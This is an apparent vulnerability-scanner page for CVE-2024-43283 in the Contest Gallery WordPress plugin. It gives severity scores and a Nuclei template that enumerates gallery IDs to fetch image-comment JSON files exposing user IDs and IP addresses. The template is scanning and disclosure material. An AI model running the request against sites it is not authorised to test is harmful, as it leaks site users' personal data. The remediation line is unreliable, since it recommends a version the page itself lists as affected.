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Contest Gallery - Broken Access Control

CVE-2024-43283
Verified

Description

Contest Gallery from n/a through 23.1.2 contains an exposure of sensitive information to an unauthorized actor caused by insufficient access controls, letting attackers access sensitive data, exploit requires no specific conditions.

Severity

Medium

CVSS Score

5.3

Exploit Probability

16%

Published Date

November 30, 2025

Template Author

popcorn94

CVE-2024-43283.yaml
id: CVE-2024-43283

info:
  name: Contest Gallery - Broken Access Control
  author: popcorn94
  severity: medium
  description: |
    Contest Gallery from n/a through 23.1.2 contains an exposure of sensitive information to an unauthorized actor caused by insufficient access controls, letting attackers access sensitive data, exploit requires no specific conditions.
  impact: |
    Unauthorized actors can access sensitive information, leading to privacy breaches and potential misuse of data.
  remediation: |
    Update to the latest version 23.1.2 or later to address the issue.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contest-gallery/contest-gallery-2312-unauthenticated-information-exposure
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43283
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-43283
    epss-score: 0.156
    epss-percentile: 0.94781
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,wordpress,wp,wp-plugin,contest-gallery,disclosure,vkev

http:
  - raw:
      - |
        GET /wp-content/uploads/contest-gallery/gallery-id-{{path}}/json/image-comments/image-comments-{{path}}.json HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path: helpers/wordlists/numbers.txt
    attack: batteringram

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'WpUserId":'
          - 'userIP":'
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a004630440220584a6affeafd1aa9fbebe60bf3066f7d3b888b73225404408a79ed08a254e36f0220019222bca85da56cac09160c5268e07627bed04f253b9bd693df256fde09f35e:922c64590222798bb761d5b6d8e72950
5.3Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVE ID:
cve-2024-43283
CWE ID:
cwe-200

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contest-gallery/contest-gallery-2312-unauthenticated-information-exposurehttps://nvd.nist.gov/vuln/detail/CVE-2024-43283

Remediation Steps

Update to the latest version 23.1.2 or later to address the issue.